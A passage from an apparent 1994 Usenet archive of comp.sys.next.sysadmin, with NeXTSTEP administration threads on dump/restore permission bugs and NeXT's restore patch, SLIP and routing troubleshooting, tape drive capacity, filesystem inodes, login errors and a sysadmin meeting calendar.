the size of the chunks that you get so that you can adjust for
mail gateways with size limits or to fit onto a floppy exactly.
I find I usually have to play with it a little bit to get the
optimal results. Also, for chunking a directory you should
tar.gz it first, since split only deals with files. (WorkSpace
does a .tar.Z on the chunks, apparently even for single files.)
--
Later,
-Don Yacktman
Don_Yacktman@byu.edu
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: restore from backup
Date: 28 Apr 1994 20:45:01 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2pp78d$ncg@quartz.ucs.ualberta.ca>
Lest others have to pull their hair out, a caveat:
I was copying a disk using dump/restore on a 3.2 slab.
After reading other people's grief with 3.2 I used the 2.x version of
restore.
Boot from floppy
mount /dev/sd0a /trash
cd /trash
restore -rf /dev/rxt0
.....
Expected inode <5digit> found <5 digit>
But the restore seemed to proceed normally, so I ignored the message.
At the end, it seemed to work so I send the slab home to my boss.
An hour later, phone call:
I can't use WriteNow.
And indeed all permissions were fratzed.
He brought it in the next day. After some experimenting, I found that
while restore -r doesn't work
restore -x / does. AFter it finishes, it asks "Set modes for . ?"
answer y, and a small ton of furious disk activity.
This one works well.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: cdodson@beast.cac.stratus.com (R. Craig Dodson)
Newsgroups: comp.sys.next.sysadmin
Subject: Test your SysAdmin knowledge - Thanks for the responses
Date: 28 Apr 1994 21:30:25 GMT
Organization: Stratus Computer Inc, Marlboro MA
Message-ID: <2pp9th$mco@transfer.stratus.com>
Thanks for all of your responses to my query about the "fsck:cannot excecute"
problem. Most of you were correct that it was missing the /usr/shlib libraries.
We copied these over from CD-ROM and the machine got all the way through the
boot sequence. However, upon trying to reset the screen resolution and put the
login box on the screen, we got a display that was unlike any I've ever seen.
Most likely we lost our /usr/devices/ATI.config as well.
At this point I reloaded the disk. I didn't want to play "find the missing
files" any more.
Can't wait for 3.3 . . .
Craig Dodson (Stratus Computer)
cdodson@beast.cac.stratus.com
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: [Q] Change my return address in sendmail.cf
Message-ID: <1994Apr28.202459.3889@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2pm3hc$9as@sbctri.sbc.com>
Date: Thu, 28 Apr 1994 20:24:59 GMT
In article <2pm3hc$9as@sbctri.sbc.com> thrash@sbctri.sbc.com (David R.
Thrash) writes:
>
> I have a slip connection into the suns at work and can not figure out
how to
> set my return address. I want my return address to be
dthrash@sbctri.sbc.com
> NOT thrash@delphi.sbctri.sbc.com. How do I get this to work?
Check out ruleset 0 for the ether mailer, if that is the one your are
using. That will deal with the extra hostname.
Consider using a Reply-To: header for the username (see Mail.app
Preferences).
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: SLIP connection with dynamic IP address allocation
Message-ID: <1994Apr28.202851.3947@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <2po9pd$mbq@ccu2.auckland.ac.nz>
Date: Thu, 28 Apr 1994 20:28:51 GMT
In article <2po9pd$mbq@ccu2.auckland.ac.nz> sbrandon@ccu1.auckland.ac.nz
(steve brandon) writes:
> I would appreciate some help with this problem.
> My university in its infinite wisdom is not offering UUCP connection
> although it has the capability. SLIP connection is offered however.
> I have ftp'd the Mamakos SLIP package and installed it as best I can.
> The problem is that because all users apart from myself(!!) are using
> macs or PC's, the IP addresses are allocated dynamically on dial-in.
> That is, to invoke SLIP, at the prompt you type:
> SLIP DEFAULT
> ... and it coughs up an arbitrary IP address for you to use.
> For me on my NeXTCUBE I understand that the IP address is something
> a little more integral to my machine - I can change it with one of
> the SysAdmin apps, then have to reboot for it to take effect.
Modify your login.tcl script. Use an rexpect to trap the place where you
are given the IP address to use, and use that to fire off a route add
command. I think one of the sample scripts includes one implementation of
this.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: david@snoopy (David Vazquez)
Subject: Multiple filesystems on one HD partition
Message-ID: <1994Apr28.214448.24305@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
Date: Thu, 28 Apr 1994 21:44:48 GMT
Is it possible (under NS/I 3.2) to have two filesystems on the same harddrive
partition? I would like to put /Users in its own filesystem on each of the
machines in my network so that I can back up the user accounts separate from
everything else via dump, but I don't have the time to back it all up,
repartition the drives, and restore it all to the new partitions.
An alternative, of course, would be a dump that can back up selected directories
as opposed to only entire filesystems.
-David Vazquez "david@smobject.com"
From: alby@uunet.uu.net (Anthony Williams)
Newsgroups: comp.sys.next.sysadmin
Subject: Question on Cnews in.coming Help!!!!
Date: 28 Apr 1994 20:01:35 -0400
Organization: UUNET Technologies Inc, Falls Church, VA, USA
Message-ID: <2ppiov$hcm@rodan.UU.NET>
Keywords: in.coming out.going cnews news posting help
I have a NeXT Turbo running NS3.0. I have this problem of my
C-news place the articles that I post on my local machine to
the directory of in.coming instead of to out.going. Since this is
happening, my news isn't being sent to the UUCP queue for posting.
Do you have any ideas on what config info I missed out on, or what
is causing this problem?
-Alby
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: Wangtek 5525ES Tapes
Message-ID: <CozL8L.5sC@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <1994Apr28.131757.16708@news.lrz-muenchen.de>
Date: Thu, 28 Apr 1994 20:36:20 GMT
In article <1994Apr28.131757.16708@news.lrz-muenchen.de> Matthias
Rosenberger writes:
> In article <CouCpn.302@belly.in-berlin.de> kiwi@belly.in-berlin.de (Axel
Habermann) writes:
> [...]
> > Compile this program in two versions. You will need blocksize =
> > 512 for 150 MB Tapes and blocksize = 1024 for 525 MB Tapes (I never
> > tried 250 MB). Run the program _before_ inserting the tape.
> >
> [...]
> This is not true in general. I use my
> ARCHIVE VIPER 2525 25462 Rev as st0 at sc0 target 4 lun 0,
> which is a 525 MB QIC drive,
> without any trouble with fixed blocksize of 512 B.
> Maybe any other drive will need 1024 B, but not all.
I was referring specifically to the tape drive of the originasl poster -
a Wangtek 5525ES which I own as well. I had the experience that it seems
to work with blocksize = 512 on 525 MB cartridges but would give you
only about 250 MB of space.
If you use a 150 MB Tape with bs = 1024 it will work, but slow _any_
other scsi activity like harddisk access significantly (I was not
able to work with my machine then). I found out that changing the
bs to 512 before inserting the tape solved this problem.
I think all this is caused by a bug in the firmware of the Wangtek
Tape Drive (because everything is fine if you power cycle the Tape Drive).
I just wanted to show a way to circumvent this behaviour, because it
cost me some hours to figure out the solution.
Again - this is true for my Wangtek 5525 ES and probably for any
other Tape Drive of same type and ROM Revision:
WANGTEK 5525ES SCSI REV7 Rev as st0 at sc0 target 3 lun 0
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
From: rling@u.washington.edu (Robert Ling)
Newsgroups: comp.sys.next.sysadmin
Subject: disk program
Date: 28 Apr 1994 23:46:49 GMT
Organization: University of Washington, Seattle
Distribution: usa
Message-ID: <2ppht9$gfr@news.u.washington.edu>
Does anybody know how to modify one byte on the disk
drive using the disk program? I can read in a sector
to the read buffer and write out a sector from the
write buffer but I don't know how to transfer or
copy from the read buffer to the write buffer.
Is there more information on the "disk" program other
than the man page (which is far from complete)?
In NS/FIP, NeXT's boot program boots up NeXTSTEP by default.
I'd like to change the default to something else.
- Robert Ling <rling@u.washington.edu>
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP connection with dynamic IP address allocation
Date: 28 Apr 1994 23:57:35 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94Apr29005735@steffi.demon.co.uk>
References: <2po9pd$mbq@ccu2.auckland.ac.nz> <1994Apr28.202851.3947@seer.demon.co.uk>
To: paul@seer.demon.co.uk (Paul Lynch)
In-reply-to: paul@seer.demon.co.uk's message of Thu, 28 Apr 1994 20:28:51 GMT
Correct I think it was login-annex.tcl
--
"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
From: brunkhorst@mayo.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: HELP! - INTERNET CONNECTION
Date: 28 Apr 1994 13:51:43 GMT
Organization: Mayo Foundation
Distribution: world
Message-ID: <2pof1f$ihs@fermat.mayo.edu>
References: <Coxqsn.9Gw@news.cis.umn.edu>
In article <Coxqsn.9Gw@news.cis.umn.edu> peter@corsica (Peter Eisch) writes:
> therbert@umiami.ir.miami.edu wrote:
> :
> : *********** 1 ************
>
> : All machines including the server always boot up with
> :
> : -------------------------------------------------------------------
> : Apr 25 09:36:18 orchid8 mach: duplicate IP address!! sent from ethernet
> : address: aa:00:04:00:e9:0c
> : -------------------------------------------------------------------
> :
> : Our computer center wants to know what the duplicate IP address is -
> : How can I determine that?
>
> It's a Cisco product, maybe a router? For some reason a port on your
> router/bridge is configured to have the same IP address. My $.02 is that
> the routing table on it is whacked and in need of some $300/hour
> consulting, OR the person that's responsible for maintaining the Cisco
> should re-read how to configure the router. (Either that or all your
> hosts have the same IP and it's always the Cisco that replies first --
> probably not though.) The MAC address aa:0:4 is a Cisco MAC.
>
To keep things on the up and up, the aa:00:04 triple is assigned to DECnet,
not Cisco. In any heterogenous net environment, you will probably have
your routers routing decnet as well, which is normal in this situation.
To be a DECNET node, you have to change your software MAC to a decnet MAC
(DECnet avoids the ARP overhead this way, because on an ethernet, it
maps your DECnet address into your software MAC, so address resolution is a
simple arithmetic process).
I think peter could be right, but his premise that the MAC is a cisco MAC
is wrong.
> : *********** 2 ************
>
> : Often, rebooting of clients (not the server) sees them hang or delay:
>
> : -------------------------------------------------------------------
> : Apr 25 09:55:11 orchid8 autonfsmount: darwin:/ server not responding:
> : RPC: Timed out
> : -------------------------------------------------------------------
>
> Chances are that 1 & 2 are related.
>
>
> : Additional points:
>
> : 1) Often there are delays of a couple to many seconds in accessing the
> : server from the clients, especially, it seems, when I have had a lot of
> : reboot problems.
>
> : 2) I do not see any of these reboot problems or the server access delays
> : if I disconnect the local network of 16 NeXTstep machines from the
> : outside world and reboot.
>
> Hmmm... maybe it's the router.
>
> : 3) I have carefully checked router address, nameserver config
> : (resolv.conf), etc. and everything seems to work properly (except for
> : file access delays) once the machines are booted up - mail, ftp, telnet,
> : rusers, etc, etc.
>
> How have you checked the router's address. On my routers I can configure
> any port on it to have as many IP's as I want. This can be somewhat
> misleading if you're using the Cisco to bridge two LANs. It seems like you
> want to enter all the IPs of the hosts that will be on either side of the
> router, but this is incorrect. Each port should probably only be assigned
> one IP.
>
> You network admin folks should be able to track this down pretty quickly
> with a network management console looking at the Cisco settings.
Peter's comments tripped up a suppressed nightmare I have had in the
recent past...
I think I've seen this before:
1) Does your ARP cache have IP addresses in it from outside of your
subnet?
2) does your netstat -r report from the clients a route through the
router to your current network, instead of a route through your
ethernet interface?
This is correct for me...
Routing tables
Destination Gateway Flags Refs Use Interface
localhost localhost UH 1 10532 lo0
default dcisco-212.mayo.ed UG 0 27028 en0
129.176.212 tarski U 23 544405 en0
I have seen:
Routing tables
Destination Gateway Flags Refs Use Interface
localhost localhost UH 1 10532 lo0
129.176.212 dcisco-212.mayo.ed UG 0 27028 en0
129.176 tarski U 23 544405 en0
which is bogus.
3) Have you done a traceroute server, and does it report going
through the router?
correct for a server on your network:
tarski> traceroute woz
traceroute to woz (129.176.212.14), 30 hops max, 38 byte packets
1 woz (129.176.212.14) 17 ms 3 ms 8 ms
This would be incorrect for a server on your network:
tarski> traceroute woz
traceroute to woz (129.176.212.14), 30 hops max, 38 byte packets
1 router.mayo.edu (129.176.161.1) 17 ms 3 ms 8 ms
2 woz (129.176.212.14) 17 ms 3 ms 8 ms
4) does your hostconfig -AUTOMATIC-ly set netmask?
5) Is your router supporting 'secondary' IP addresses?
If yes, to all the above, do the following:
1) tell the netadmins that the secondary addresses are causing you grief
2) Upgrade your boxes to 3.2
3) Explicitly set your netmask to what is appropriate for your network
4) Explicitly set your NetInfo Server address up in your ./local/machines
domain and set 'serves' to '../network'
If all this doesn't work, you may have to add some magic to correctly
define your default route and define your netmask.
---
Geoff
____________________________________________________________________________
Geoffrey Brunkhorst Brunkhorst.Geoffrey@Mayo.edu
Research Computing Facility, Guggenheim 10 (507) 284-1805
Mayo Foundation, Rochester MN, 55905, USA fax (507) 284-5231
Newsgroups: comp.sys.next.sysadmin
From: perstoro@uriela.in-berlin.de (Wilhelm Schaefer)
Subject: Re: restore from backup
Message-ID: <1994Apr29.093555.4256@uriela.in-berlin.de>
Sender: perstoro@uriela.in-berlin.de
Organization: NeXAPP
References: <2pp78d$ncg@quartz.ucs.ualberta.ca>
Date: Fri, 29 Apr 1994 09:35:55 GMT
In article <2pp78d$ncg@quartz.ucs.ualberta.ca>
sherwood@fenris.space.ualberta.ca (Sherwood Botsford) writes:
#
#Lest others have to pull their hair out, a caveat:
#
#I was copying a disk using dump/restore on a 3.2 slab.
#
#After reading other people's grief with 3.2 I used the 2.x version
of
#restore.
#
#Boot from floppy
#mount /dev/sd0a /trash
#cd /trash
#restore -rf /dev/rxt0
#.....
#Expected inode <5digit> found <5 digit>
#
#
#But the restore seemed to proceed normally, so I ignored the
message.
#
#At the end, it seemed to work so I send the slab home to my boss.
#An hour later, phone call:
#
#I can't use WriteNow.
#
#And indeed all permissions were fratzed.
#
#He brought it in the next day. After some experimenting, I found
that
#while restore -r doesn't work
#restore -x / does. AFter it finishes, it asks "Set modes for . ?"
#answer y, and a small ton of furious disk activity.
#
#This one works well.
#
Under 3.2 restore is not working. Get the patch from NeXT and
everything will be fine.
Installing Update 1 of the /etc/restore Patch for NEXTSTEP Release
3.2
These instructions show you how to install update 1 of the
/etc/restore patch on a NeXT or Intel-based computer running NEXTSTEP
Release 3.2. The patch is distributed in an Installer package file
named RestorePatch.pkg.
This patch fixes a problem with the Release 3.2 version of
/etc/restore where set user and group id bits are not retained on
restored files. A symptom of missing set user and group id bits
after restoring a NEXTSTEP system disk is the inability to log in as
a user other than root.
1. If you received the RestorePatch.pkg file via NeXTmail or
another electronic source, place a copy of the file in a location
where you can access it when you log in as root.
2. Log in as root.
Only the superuser, root, can install the package. If you're
not sure how to log in as root, see your system administrator.
3. If you received the RestorePatch.pkg file on a floppy disk,
insert the disk in the floppy disk drive. (If you have an Intel-based
computer, choose Check for Disks from the Workspace Manager
application's Disk menu.) When the disk icon appears in the File
Viewer, double-click it to open it.
4. Double-click the RestorePatch.pkg file.
5. Click the Install button in the Installer package window.
When the panel asks you what kinds of computers you want to install
the software for, select the kind of computer you're using and click
Install. Then click Continue in the panel that warns you you're about
to overwrite existing files.
6. When the installation is complete, choose Quit from the
Installer menu.
The new /etc/restore is now available to restore /etc/dump
backups.
For information about logging in and out, the Workspace Manager
application, and the Installer application, see the NEXTSTEP User's
Guide. For information about /etc/restore, see NEXTSTEP Network and
System Administration and the UNIX manual pages for dump and
restore.
NeXT, the NeXT logo, NEXTSTEP, NeXTmail, and Workspace Manager are
trademarks of NeXT Computer, Inc.
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From: mcdonald@aerospace.aero.org (Louis M. McDonald)
Newsgroups: comp.sys.next.sysadmin
Subject: WindowServer error
Date: 29 Apr 1994 13:14:51 GMT
Organization: The Aerospace Corporation
Message-ID: <2pr18b$5kt@news.aero.org>
This is an error that is appearing on our NeXT turbo when
people try to log in.
Here is the message from the messages file:
Apr 14 23:25:31 stimpy loginwindow[10197]: loginwindow: could not find
WindowServ
er port!
Apr 14 23:26:17 stimpy loginwindow[10199]: loginwindow: could not find
WindowServ
er port!
Apr 14 23:27:03 stimpy loginwindow[10201]: loginwindow: could not find
WindowServ
er port!
Apr 14 23:27:50 stimpy loginwindow[10203]: loginwindow: could not find
WindowServ
er port!
Apr 14 23:28:36 stimpy loginwindow[10205]: loginwindow: could not find
WindowServ
er port!
And I get it over and over again. Thanks for any help!
Louis McDonald
Louis McDonald Internet: louis@aerospace.aero.org
The Aerospace Corporation
213-336-8914
From: mcdonald@aerospace.aero.org (Louis M. McDonald)
Newsgroups: comp.sys.next.sysadmin
Subject: Creating NeXTMail "attachment"
Date: 29 Apr 1994 13:15:56 GMT
Organization: The Aerospace Corporation
Message-ID: <2pr1ac$5l6@news.aero.org>
[ I checked FAQ, but did not find a reference ]
Sometime ago, it was posted how to create the approproate tar.Z uuencoded
file so that one could write an "X" to NeXTMail gateway
Of course I printed it, but can no longer find it.
Does anyone remember what the steps are for create a NeXTMail message
with attachments.
I am looking into taking MSMail attachments received by a NeXTMail
user and automatically redoing the uuencoded file so that it
appears as a standard nextmail attachment.
Thanks.
Louis McDonald
703-318-5406 (office) 703-318-5409 (fax)
900-555-5406 (my special 900 number for information-holics)
Louis McDonald Internet: louis@aerospace.aero.org
The Aerospace Corporation
213-336-8914
Newsgroups: comp.sys.next.sysadmin
From: "TWARECKI,PIOTR,MR" <B7NS000@MUSICB.MCGILL.CA>
Subject: URGENT: Swapping HD mechanisms, how?
Message-ID: <29APR94.09154267.0254@VM1.MCGILL.CA>
Sender: usenet@MUSICB.MCGILL.CA
Organization: McGill University
Date: Fri, 29 Apr 1994 13:28:34 GMT
Hello,
I have a chance to swap my Quantum 425 mechanism for a Toshiba MK438FB.
I have formatted the Toshiba, and run BuildDisk. How can I ensure that
all the information is moved properly from the Quantum to the Toshiba?
I plan on running a directory compare and copying all files showing
discrepancies from the Quantum to the Toshiba. Will this suffice, or
is something else necessary to completely move my filesystem to the
new harddrive? Is there an easier way?
Also, it seems that my Keyboard.preferences folder has disappeared from
the system (It should sit inside the Preferences.app). Could some kind
sould send it to me? I'm not sure if this is legal, but I have no easy
access to a CD-ROM. I run NS3.2 black...
Thank you in advance for your help,
Peter.
Peter Twarecki <b7ns@MUSICB.McGill.CA>
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
From: kev@bri.hp.com (Kevin Jones)
Subject: Re: HP35480 DAT Drive
Sender: news@bri.hp.com (News User)
Message-ID: <Cp0w3C.K6D@bri.hp.com>
Date: Fri, 29 Apr 1994 13:28:24 GMT
References: <2pokhl$mpv@news.mic.ucla.edu>
Organization: Hewlett-Packard
Followup-To: comp.sys.next.sysadmin,comp.periphs.scsi
Ivo Welch (ivo@next.agsm.ucla.edu) wrote:
: I just purchased an HP35480 DDS-DC drive. I tried to write random numbers
: to a 90m tape, and got a capacity of 1,632MB (1.7 if I count M as
: millions). I have compression enabled, but due to the random nature of the
: data, this should not matter much.
: I thought these drives could hold 3MB uncompressed. By my calculations,
: even on a 120m tape, this will only be about 2GB.
The native capacity of a 35480A is 2.0Gbytes on a 90 meter tape.
This drive does not support 120m tapes (it will refuse to load such
media). Any extra depends on how compressible your data is.
: Are there any other tape drives that do better?
HP C1533A's are DDS2 format drives which will write 4.0 Gbytes on a
120m tape. HP C1553A is a 6 cartridge autoloader with a built-in
C1533A, capacity = 6 * 4 = 24Gbytes.
(all figures exclude the benefits of data compression).
: Also, the effective speed is rather disappointing. I started this effort
: at 14:44:32, and it ended at 17:48:02---3 hours later. The Unix time
: command reports: 11093.8 real 439.6 user 363.5 sys.
The native transfer rate of a HP35480A is 183 Kbytes/Second.
If you took 3 hours to back-up 1.63Mbytes then you are getting
only 150 Kbytes/Second.
I would suggest that the drive is not being supplied data quickly
enough to stream it. This would account for the low transfer rate
and some loss of capacity. This can be a function of the backup
application or its configuration. What are you using to perform
backups ?
: I also thought these were faster drives. Again, are there better drives?
C1533A drives have a native transfer rate of 510Kbytes/Second.
That is 2.7X the transfer rate of a 35480A. You get to pay extra
for that performance. Also, many systems are incapable of sourcing
data quickly enough to stream this drive. If your data is 2X
compressible then you have to source it at 1.0Mbytes/Sec.
-----------------------------------------------------------------
Kevin Jones. | Hewlett Packard Ltd,
| Computer Peripherals Bristol,
kev%hpcpbla@hplb.hpl.hp.com | Filton Road,
| Stoke Gifford,
| Bristol. BS12 6QZ.
| ENGLAND.
-----------------------------------------------------------------
This response does not represent the official position of, or
statement by, the Hewlett-Packard Company. The above data is
provided for informational purposes only. It is supplied
without warranty of any kind.
From: tfs@gravity.science.gmu.edu (Tim Scanlon)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: inodes and news spool
Followup-To: comp.sys.next.sysadmin
Date: 27 Apr 1994 14:27:48 GMT
Organization: George Mason University
Sender: tfs@gravity.science.gmu.edu
Distribution: world
Message-ID: <2plsp4$o7f@portal.gmu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Summary: fun with disks
-----munch----
>I can't get more than 33,000 out of it. newfs won't let me go below 8
>cylinders/group and that's the deciding factor, isn't it?
-----munch----
>Any help on how to squeeze more inodes out of this partition? 32,000 inodes
>for a 170M partition seems to be a bit low, because I can get more inodes/M
>out of a larger partition.
This sounds horribly kludgy, but what has worked for me in the past is
to use mkfs directly rather than newfs. Newfs is designed to make life easier
for everyone, but it's choices arn't allways going to be correct for what you
as the reasoning operator want to do.
I've had to do this once before, and putting together the elements to correctly
get your disk to do what you want is a bit of a pain, but I exceeded the "reccomended"
number of inodes by using mkfs.
The NeXT disk utilities could & need to be not only more robust, but also
more versitile. Hopefully we'll see that in 3.3, but I'm not holding my breath, we're
still sufferning from the expectations of people who insist on thinking of the boxes
as "overpowered macs". Yea they're easy to use, and there's ALOT said for making them
that way, but the real truth is that the setup is incredibly powerful and versitile
becuse of it's object orientation. The BuildDisk application could use extension,
well & far beyond what it does now. (adding a partition isn't exactly the height of
sopistication, especially when it's limited needlessly)
In any event, if you're still stuck I'd get bsd source & roll your own. As
long as your fs is in 4.3 format I think you ought to be ok.
Tim Scanlon
From: tammy.choy@mail.aero.org (Tammy Choy)
Newsgroups: comp.sys.next.sysadmin
Subject: Workspace error
Followup-To: comp.sys.next.sysadmin
Date: 25 Apr 1994 12:44:37 GMT
Organization: The Aerospace Corporation
Distribution: world
Message-ID: <tammy.choy-250494084439@warrenton.aero.org>
This is an error that is appearing on our NeXT turbo when
people try to log in.
Here is the message from the messages file:
Apr 14 23:25:31 stimpy loginwindow[10197]: loginwindow: could not find
WindowServ
er port!
Apr 14 23:26:17 stimpy loginwindow[10199]: loginwindow: could not find
WindowServ
er port!
Apr 14 23:27:03 stimpy loginwindow[10201]: loginwindow: could not find
WindowServ
er port!
Apr 14 23:27:50 stimpy loginwindow[10203]: loginwindow: could not find
WindowServ
er port!
Apr 14 23:28:36 stimpy loginwindow[10205]: loginwindow: could not find
WindowServ
er port!
And I get it over and over again. Thanks for any help!
Tammy
From: louis.mcdonald@mail.aero.org (Louis McDonald)
Newsgroups: comp.sys.next.sysadmin
Subject: Creating NeXTMail "attachment"
Followup-To: comp.sys.next.sysadmin
Date: 26 Apr 1994 13:15:01 GMT
Organization: The Aerospace Corporate - East
Distribution: world
Message-ID: <louis.mcdonald-260494091359@warrenton.aero.org>
[ I checked FAQ, but did not find a reference ]
Sometime ago, it was posted how to create the approproate tar.Z uuencoded
file so that one could write an "X" to NeXTMail gateway
Of course I printed it, but can no longer find it.
Does anyone remember what the steps are for create a NeXTMail message
with attachments.
I am looking into taking MSMail attachments received by a NeXTMail
user and automatically redoing the uuencoded file so that it
appears as a standard nextmail attachment.
Thanks.
Louis McDonald
703-318-5406 (office) 703-318-5409 (fax)
900-555-5406 (my special 900 number for information-holics)
From: louis.mcdonald@mail.aero.org (Louis McDonald)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: BAD SUPERBLOCK: fsck -b32 works !
Followup-To: comp.sys.next.sysadmin
Date: 27 Apr 1994 17:50:36 GMT
Organization: The Aerospace Corporate - East
Distribution: world
Message-ID: <louis.mcdonald-270494135046@warrenton.aero.org>
References: <2plolc$k9d@sun0.urz.uni-heidelberg.de>
In article <2plolc$k9d@sun0.urz.uni-heidelberg.de>,
flight@mathi.uni-heidelberg.de (Gregor Hoffleit) wrote:
>
> Indeed, I got a 'BAD SUPERBLOCK' msg, and tried fsck -b16 as stated in
> the man-page. The fsck worked, but the BAD SUPERBLOCK remained. When I
> tried a 'fsck -b32', the message was gone! Funny! Does anybody know the
> reason ? BTW. I'm running NSfIP 3.2.
>
> Gregor
>
> --
> | Gregor Hoffleit admin MATHInet / contact HeidelNeXT |
> | MAIL: Mathematisches Institut PHONE: (49)6221 56-5771 |
> | INF 288, 69120 Heidelberg / Germany FAX: 56-3812 |
> | EMAIL: flight@mathi.uni-heidelberg.de (NeXTmail) |
We had a similar problem, but on the reboot, the bad superblock
would reappear (even with fsck -b32).
maybe I will try it again, but we have been trying to figure out
what is it about the reboot that is causing the corrupt superblock
error.
Louis McDonald
From: louis.mcdonald@mail.aero.org (Louis McDonald)
Newsgroups: comp.sys.next.sysadmin
Subject: xx
Followup-To: comp.sys.next.sysadmin
Date: 28 Apr 1994 18:55:32 GMT
Organization: The Aerospace Corporate - East
Distribution: world
Message-ID: <louis.mcdonald-280494145626@warrenton.aero.org>
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From: geom2@sfb256.iam.uni-bonn.de ( Michael Moellney )
Newsgroups: comp.sys.next.sysadmin
Subject: Dots 3.5 with Novell NetWare 3.12 printer
Date: 29 Apr 1994 13:50:23 GMT
Organization: Applied Math, University of Bonn, Germany
Message-ID: <2pr3av$gqa@news.rhrz.uni-bonn.de>
Keywords: ISDN, NeXT
Hi!
Was anybody able to configure Dots and a Netware Printer (HP Laser Series II),
so the binary signs (like ESC and so one) arn't discarded before they reach
the printer?
Thanks for any help!
Michael
From: cdl@triton.ucsd.edu (Carl Lowenstein)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: restore from backup
Date: 29 Apr 1994 10:22:17 -0700
Organization: Marine Physical Lab, UC San Diego
Message-ID: <2prfo9$hok@triton.ucsd.edu>
References: <2pp78d$ncg@quartz.ucs.ualberta.ca> <1994Apr29.093555.4256@uriela.in-berlin.de>
In article <1994Apr29.093555.4256@uriela.in-berlin.de> perstoro@uriela.in-berlin.de writes:
>In article <2pp78d$ncg@quartz.ucs.ualberta.ca>
>sherwood@fenris.space.ualberta.ca (Sherwood Botsford) writes:
>#
>#I was copying a disk using dump/restore on a 3.2 slab.
>#
>#
>Under 3.2 restore is not working. Get the patch from NeXT and
>everything will be fine.
How about a clue from somebody. How does one get this patch from NeXT?
It doesn't seem to be on ftp.next.com.
There has been nothing new on next.com for a year or more.
It doesn't seem to be on cs.orst.edu.
carl
--
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{decvax|ucbvax} !ucsd!mpl!cdl cdl@mpl.ucsd.edu
clowenstein@ucsd.edu
From: kiefer@ectds.com (Martin Kiefer)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.2 Upgrade Hosed NetInfo Printer Definations
Date: 28 Apr 1994 22:06:51 GMT
Organization: Trident Data Systems
Message-ID: <2ppc1r$qro@discovery.ectds.com>
Has anyone out there had problems with netinfo after a 3.2 upgrade?
We have a Sparc that is our dedicated print server, and NetInfo entries for
printers that contain basically the same info that you'd find in an
/etc/printcap file for a remote printer. Some of these entries were reset
during the upgrade. the rm and rp properties were set to the name of the
local host and "Local_Printer" So when you print, it spools the job off to
itself, and when it gets to itself, it gets shipped off to itself, etc...
Marty
From: nando@ccrma.stanford.edu (Fernando Pablo Lopez Lezcano)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: HP35480 DAT Drive
Date: 29 Apr 1994 18:14:51 GMT
Organization: Stanford University
Message-ID: <2priqr$f88@nntp2.Stanford.EDU>
References: <Cp0w3C.K6D@bri.hp.com>
Kevin Jones writes
> HP C1533A's are DDS2 format drives which will write 4.0 Gbytes on a
> 120m tape. HP C1553A is a 6 cartridge autoloader with a built-in
> C1533A, capacity = 6 * 4 = 24Gbytes.
> (all figures exclude the benefits of data compression).
Are the DDS2 drives backward compatible with DDS written tapes
(read/write)? We have an ArchivePhyton drive and want to upgrade to a
higher capacity drive but without loosing compatibility with already
written backup tapes...
Thanks for any info!
-- Fernando
nando@ccrma.stanford.edu
From: tal@Warren.MENTORG.COM (Tom Limoncelli)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin,comp.unix.large,comp.unix.misc,comp.unix.solaris,comp.unix.ultrix,comp.unix.unixware,nj.events,nj.misc,nyc.announce,phl.announce
Subject: $GROUPNAME Meeting Calendar (NEW JERSEY)
Followup-To: comp.unix.admin
Date: 29 Apr 1994 15:39:25 -0400
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MAY:
Monday, May 2, 7:30pm - 9:30pm
"Why would a sysadmin want to run OSF's DCE?"
by Rich Salz, of OSF and INN fame.
Location: Digital, Manalapan (about 45 minutes from Newark Airport)
Directions: see end of this message.
Rich Salz is on staff at OSF in Cambridge, MA developing some
of the networking protocols involved in DCE. He is also the
author of INN, the software that most sites on the internet use
to transmit netnews.
JUNE:
Thursday, June 16, 7:00pm
Cluster Group meetings
Topic: TBA
All are invited to cluster group meetings! They are
social as well as technical. If there isn't
one in your area, why not start one? The only
requirement is that they are all cluster groups
meet simultaniously and have the same topic (yeah, right).
This is the second Cluster Night. The first one was
amazingly successful.
CENTRAL JERSEY: The Carousel Diner, Rt 22 in Plainfield.
SOUTH JERSEY: Still looking for volunteers.
